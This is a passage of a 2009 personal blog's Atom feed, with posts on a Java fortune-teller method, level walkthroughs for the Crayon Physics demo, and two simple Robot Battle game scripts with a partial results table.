src="http://2.bp.blogspot.com/_uPAPPtCV9Oo/SfGntbIBpWI/AAAAAAAAAFY/tgNDc5lCEhc/s200/Fortune_Teller.jpg" alt="fortune teller" id="BLOGGER_PHOTO_ID_5328224232973378914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;public String getFortune() {&lt;br /&gt;    String prediction[]={"You will die a horrible death at 3:00 PM","You will win a lottery today","You will slip and fall today","Beware of red Vehicles","You will get a promotion today","You will become king one day","You will win the Nobel prize next year","You will win every contest you enter today","Your boss will go on leave for the next week","You will buy a car soon","You will become God"};&lt;br /&gt;    int forval=(int)Math.round(Math.random()*10);&lt;br /&gt;    return prediction[forval];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The different fortunes are stored in an array of strings and the value obtained from the random function is used as the array index. The value from random is between 0 and 1, and is multiplied by 10 to get the final value. Hence, the array will not go out of bound.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-4419230505102140516?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/4419230505102140516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=4419230505102140516' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4419230505102140516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4419230505102140516'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/java-desktop-fortune-teller.html' title='Java Desktop Fortune teller'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_uPAPPtCV9Oo/SfGntbIBpWI/AAAAAAAAAFY/tgNDc5lCEhc/s72-c/Fortune_Teller.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3334996343947985128</id><published>2009-04-23T09:54:00.000-07:00</published><updated>2009-04-23T10:10:40.952-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Crayon Physics - error - limit on number of drawings</title><content type='html'>After writing a kind of tutorial on wining the seven different crayon physics puzzles or levels  (crayon puzzles) in the demo mode, the game showed few limits, not by itself by the physics engine on which it runs. The error says "You Broke my Game! There's too many objects on the screen . The physics engine can't keep up with it. Unfortunately you will have to restart the level :("&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_limits_error.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 369px; height: 464px;" src="http://webnadu.googlepages.com/crayon_physics_limits_error.jpg" alt="crayon physics error" border="0" /&gt;&lt;/a&gt;The worst thing about this error is it pops up just when you are able to solve :) the puzzle.&lt;br /&gt;&lt;br /&gt;The different levels of the demo are:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://nagarjunv.blogspot.com/2009/04/crayon-physics-awesomly-talented-game.html"&gt;Tutorial&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nagarjunv.blogspot.com/2009/04/crayon-physics-demo-2-towers.html"&gt;The 2 towers&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nagarjunv.blogspot.com/2009/04/crayon-physics-tee-ters.html"&gt;Tee Ters&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nagarjunv.blogspot.com/2009/04/crayon-physics-lots-of-space.html"&gt;Lots of Space&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nagarjunv.blogspot.com/2009/04/crayon-physics-log.html"&gt;Log&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nagarjunv.blogspot.com/2009/04/crayon-physics-sky-captain.html"&gt;Sky Captain&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nagarjunv.blogspot.com/2009/04/crayon-physics-nasty.html"&gt;Nasty&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;The background music of the game is pretty melodious and not interfering. The final word is Crayon physics proves beyond doubt tat its an awesomely cool game :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3334996343947985128?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3334996343947985128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3334996343947985128' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3334996343947985128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3334996343947985128'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/crayon-physics-error-limit-on-number-of.html' title='Crayon Physics - error - limit on number of drawings'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2698480296988987893</id><published>2009-04-22T08:31:00.000-07:00</published><updated>2009-04-22T08:40:28.284-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Crayon Physics - Nasty</title><content type='html'>The Nasty level in crayon physics has two stars to collect. Although its possible to collect both stars in a single go, this method shows collecting each of the stars in separate goes.&lt;br /&gt;&lt;br /&gt;To collect the first star, first block the ball at the top. and create structures as in image below.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_7.1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 416px; height: 336px;" src="http://webnadu.googlepages.com/crayon_physics_7.1.jpg" alt="Nasty crayon Physics" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Delete the blocking box to collect the first start. The ball falls down and comes for second go. Block the ball and build the next set of structures as in below image.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_7.2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 416px; height: 336px;" src="http://webnadu.googlepages.com/crayon_physics_7.2.jpg" alt="Nasty Crayon second star" border="0" /&gt;&lt;/a&gt;Draw both structures together along with guarding wall at the left bottom corner to collect both stars in a single go.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2698480296988987893?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2698480296988987893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2698480296988987893' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2698480296988987893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2698480296988987893'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/crayon-physics-nasty.html' title='Crayon Physics - Nasty'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-4558008690274125431</id><published>2009-04-22T08:24:00.002-07:00</published><updated>2009-04-22T08:29:23.152-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Crayon Physics - Sky Captain</title><content type='html'>Sky captain can be solved similar to &lt;a href="http://nagarjunv.blogspot.com/2009/04/crayon-physics-tee-ters.html"&gt;TEE TERS&lt;/a&gt; by balancing the see saws and then setting the ball rolling. But make sure the right side is having some weight to counteract the weight of the square tat gets the ball rolling.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_6.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 416px; height: 336px;" src="http://webnadu.googlepages.com/crayon_physics_6.jpg" alt="" border="0" /&gt;&lt;/a&gt;The seesaws can be balanced using a single beam or two separate beams. But make sure to use long beams to get them balanced.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-4558008690274125431?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/4558008690274125431/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=4558008690274125431' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4558008690274125431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4558008690274125431'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/crayon-physics-sky-captain.html' title='Crayon Physics - Sky Captain'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8877678720888345000</id><published>2009-04-22T07:50:00.000-07:00</published><updated>2009-04-22T08:20:38.379-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Crayon Physics - Log</title><content type='html'>The Log can be solved very easily by removing the log and then setting the ball roll. However, can anybody solve it without making the log fall? The acclaimed tunneling effect from quantum physics is required for this :) Any quantum physicists out there? can u do it?&lt;br /&gt;&lt;br /&gt;Anyway for the rest of us the easy solution is given below. First get the log out of the way by dropping beams on top of it. Then just get the ball rolling to collect the star.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_5.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 416px; height: 336px;" src="http://webnadu.googlepages.com/crayon_physics_5.jpg" alt="crayon physics log" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;If any of you quantum physicists can do the tunneling effect without making the log fall, do let me know how u did it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8877678720888345000?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8877678720888345000/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8877678720888345000' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8877678720888345000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8877678720888345000'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/crayon-physics-log.html' title='Crayon Physics - Log'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-1506442665812008439</id><published>2009-04-22T07:35:00.000-07:00</published><updated>2009-04-22T07:50:26.991-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Crayon Physics - Lots Of Space</title><content type='html'>Lots of space seemed a bit difficult to solve to begin with as it required the drawing of boxes of exact sizes so tat the weight got balanced. If you draw a box tats too small or too big, they will both go tumbling down. The challenge is to fill the space and make the ball roll.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_4.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 416px; height: 336px;" src="http://webnadu.googlepages.com/crayon_physics_4.jpg" alt="crayon physics lots of space" border="0" /&gt;&lt;/a&gt;Draw the leftmost vertical box first and make it stand properly. Next draw the slant pole so tat it  gets balanced by the vertical box. Once the the two boxes get balanced, draw a third box to get the ball rolling.&lt;br /&gt;&lt;br /&gt;A much easier way is to draw multiple boxes to make the levels nearly equal, and drawing a pole connecting the two. Then once the ball comes near the piled up boxes, delete them quickly so tat the ball falls on top of the star.&lt;br /&gt;&lt;br /&gt;The way2 to solve lots of space teaches &lt;a href="http://en.wikipedia.org/wiki/Cantilever"&gt;cantilever&lt;/a&gt; concept.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_4-way2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 416px; height: 336px;" src="http://webnadu.googlepages.com/crayon_physics_4-way2.jpg" alt="crayon physics lot of space cantilever" border="0" /&gt;&lt;/a&gt;So lot of physics learning going on with the crayon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-1506442665812008439?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/1506442665812008439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=1506442665812008439' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1506442665812008439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1506442665812008439'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/crayon-physics-lots-of-space.html' title='Crayon Physics - Lots Of Space'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-4316498313052076895</id><published>2009-04-22T07:28:00.000-07:00</published><updated>2009-04-22T07:35:27.611-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Crayon Physics - tee ters</title><content type='html'>The third puzzle called the Teeters or TEE TERS can be solved by drawing a single bar that balances and equalises the two see saws and drawing another box to get the ball rolling.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 416px; height: 336px;" src="http://webnadu.googlepages.com/crayon_physics_3.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This seems to be the simplest solution. So should we try to solve the puzzle by drawing the least number of stuffs? is tat the aim of the game? well tat would make the game boring and does not make the full use of the artistic power of Crayon Physics.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-4316498313052076895?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/4316498313052076895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=4316498313052076895' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4316498313052076895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4316498313052076895'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/crayon-physics-tee-ters.html' title='Crayon Physics - tee ters'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5447390391363019850</id><published>2009-04-22T07:22:00.000-07:00</published><updated>2009-04-22T07:28:32.236-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Crayon physics demo - the 2 towers</title><content type='html'>As if&lt;a href="http://nagarjunv.blogspot.com/2009/04/crayon-physics-awesomly-talented-game.html"&gt; solving the first puzzle&lt;/a&gt; was not easy enough, the second puzzle can be solved like below. Just need to draw two boxes. One Box connecting the two towers and another to set the ball rolling.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 416px; height: 336px;" src="http://webnadu.googlepages.com/crayon_physics_2.jpg" alt="crayon physics" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This seems to be like a tutorial to solving the demo version of crayon physics, but dont limit your creativity to these solutions. Do explore more fun ways to solve these puzzles.&lt;br /&gt;&lt;br /&gt;Actually dont just think of these as puzzles, they are a kind of art with purpose. The purpose of the art is to collect the star:) So wat are u waiting for pickup the crayons and start sketching.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5447390391363019850?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5447390391363019850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5447390391363019850' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5447390391363019850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5447390391363019850'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/crayon-physics-demo-2-towers.html' title='Crayon physics demo - the 2 towers'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2619239150791167888</id><published>2009-04-22T07:09:00.000-07:00</published><updated>2009-04-22T07:22:35.468-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>Crayon Physics - awesomly talented game</title><content type='html'>&lt;a href="http://www.crayonphysics.com/"&gt;Crayon physics&lt;/a&gt; is a really great game that tests your artistic sense and physics. No you dont need to be a particle physicist.&lt;br /&gt;&lt;br /&gt;The demo version of the game comes with 7 puzzles and is very simple to learn and fun to play. The aim of the game is to collect stars by making a ball to move towards a star. The first puzzle can be solved easily based on the instructions given in the game background.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/crayon_physics_1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 413px; height: 334px;" src="http://webnadu.googlepages.com/crayon_physics_1.jpg" alt="crayon physics" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is just one way to solve the game, but the same thing can be solved in innumerable different methods. The beauty of the game is tat its not a science, but an art. We learn handling the mouse, physics and art all at the same time :)&lt;br /&gt;&lt;br /&gt;Hit the space bar to reset the game and the esc key to goto the menu. Do let me know if you solve the puzzles in the most artistic ways possible.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2619239150791167888?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2619239150791167888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2619239150791167888' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2619239150791167888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2619239150791167888'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/04/crayon-physics-awesomly-talented-game.html' title='Crayon Physics - awesomly talented game'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8510059566606103028</id><published>2009-04-15T19:46:00.000-07:00</published><updated>2009-04-15T19:50:59.358-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='robot battle'/><category scheme='http://www.blogger.com/atom/ns#' term='RSL'/><title type='text'>Robot Battle – the Dead Target Robot</title><content type='html'>&lt;a href="http://www.robotbattle.com/"&gt;Robot battle&lt;/a&gt; is a game that requires you to write programs to make the robots battle it out for supremacy. The robots have the same physical features; the program (the robot brain) is the only feature that decides the winning robot.&lt;br /&gt;&lt;br /&gt;A distinct programming language called Robot Scripting language (RSL) is used to control the actions of the robot. The documentation included with the game is good enough to start writing your own robots (.prg files).&lt;br /&gt;&lt;br /&gt;I just created a Dead Target Robot for doing target Practice. The Sample program created using the documentation included with the Robot Battle game defeats Dead Target Robot easily.&lt;br /&gt;&lt;br /&gt;Source of Deadtarget.prg:&lt;br /&gt;&lt;br /&gt;#The dumbest robot ever. Just sits and waits to get killed. Good for target practice.&lt;br /&gt;Init&lt;br /&gt;{&lt;br /&gt;  name( "Dead Target" )&lt;br /&gt;  author( "Nagarjun V" )&lt;br /&gt;  version( "0.1" )&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Source of Sample.prg:&lt;br /&gt;&lt;br /&gt;# Init section sets up robot and registers handlers&lt;br /&gt;Init&lt;br /&gt;{&lt;br /&gt;  name( "Sample" )&lt;br /&gt;  lockgun( true )&lt;br /&gt;  regcore( MyCore )&lt;br /&gt;  regdtcrobot( FoundRobot, 1 )&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;MyCore&lt;br /&gt;{&lt;br /&gt;  # if scan finds a robot, the event handler runs&lt;br /&gt;  scan( )&lt;br /&gt;  radarright( 5 )&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# scan detected a robot, shoot at it then check again&lt;br /&gt;FoundRobot&lt;br /&gt;{&lt;br /&gt;  fire( 1 )&lt;br /&gt;  scan( )&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The results of a game between the above two robots:&lt;br /&gt;&lt;br /&gt;&lt;!--[endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */ @font-face  {font-family:Tahoma;  panose-1:2 11 6 4 3 5 4 4 2 4;  mso-font-charset:0;  mso-generic-font-family:swiss;  mso-font-pitch:variable;  mso-font-signature:-520078593 -1073717157 41 0 66047 0;} @font-face  {font-family:"Arial Unicode MS";  panose-1:2 11 6 4 2 2 2 2 2 4;  mso-font-charset:128;  mso-generic-font-family:swiss;  mso-font-pitch:variable;  mso-font-signature:-1 -369098753 63 0 4129279 0;} @font-face  {font-family:"\@Arial Unicode MS";  panose-1:2 11 6 4 2 2 2 2 2 4;  mso-font-charset:128;  mso-generic-font-family:swiss;  mso-font-pitch:variable;  mso-font-signature:-1 -369098753 63 0 4129279 0;}  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0cm;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:12.0pt;  font-family:"Times New Roman";  mso-fareast-font-family:"Times New Roman";} h2  {margin-right:0cm;  mso-margin-top-alt:auto;  mso-margin-bottom-alt:auto;  margin-left:0cm;  mso-pagination:widow-orphan;  mso-outline-level:2;  font-size:18.0pt;  font-family:"Arial Unicode MS";} a:link, span.MsoHyperlink  {color:blue;  text-decoration:underline;  text-underline:single;} a:visited, span.MsoHyperlinkFollowed  {color:purple;  text-decoration:underline;  text-underline:single;} span.mw-headline  {mso-style-name:mw-headline;} @page Section1  {size:612.0pt 792.0pt;  margin:72.0pt 90.0pt 72.0pt 90.0pt;  mso-header-margin:36.0pt;  mso-footer-margin:36.0pt;  mso-paper-source:0;} div.Section1  {page:Section1;} --&gt; &lt;/style&gt;  &lt;table style="width: 637px; height: 139px;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td style="padding: 1.5pt; background: black none repeat scroll 0% 0%; width: 25%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="25%"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="background: black none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-family:Tahoma;font-size:10;"  &gt;  &lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt; &lt;a href="http://bogus/"&gt;&lt;span style="color:white;"&gt;Name&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 1.5pt; background: black none repeat scroll 0% 0%; width: 25%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="25%"&gt;   &lt;p class="MsoNormal" style="text-align: right;" align="right"&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;a href="http://bogus/"&gt;&lt;span style="color: rgb(192, 228, 240);"&gt;Points&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 1.5pt; background: black none repeat scroll 0% 0%; width: 25%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="25%"&gt;   &lt;p class="MsoNormal" style="text-align: right;" align="right"&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;a href="http://bogus/"&gt;&lt;span style="color:white;"&gt;1st&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 1.5pt; background: black none repeat scroll 0% 0%; width: 25%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" width="25%"&gt;   &lt;p class="MsoNormal" style="text-align: right;" align="right"&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;a href="http://bogus/"&gt;&lt;span style="color:white;"&gt;2nd&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 1.5pt; background: rgb(192, 228, 240) none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="background: red none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-family:Tahoma;font-size:10;"  &gt;  &lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt; Sample &lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 1.5pt; background: white none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;   &lt;p class="MsoNormal" style="text-align: right;" align="right"&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;40&lt;/span&gt;&lt;span style=";font-family:Tahoma;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 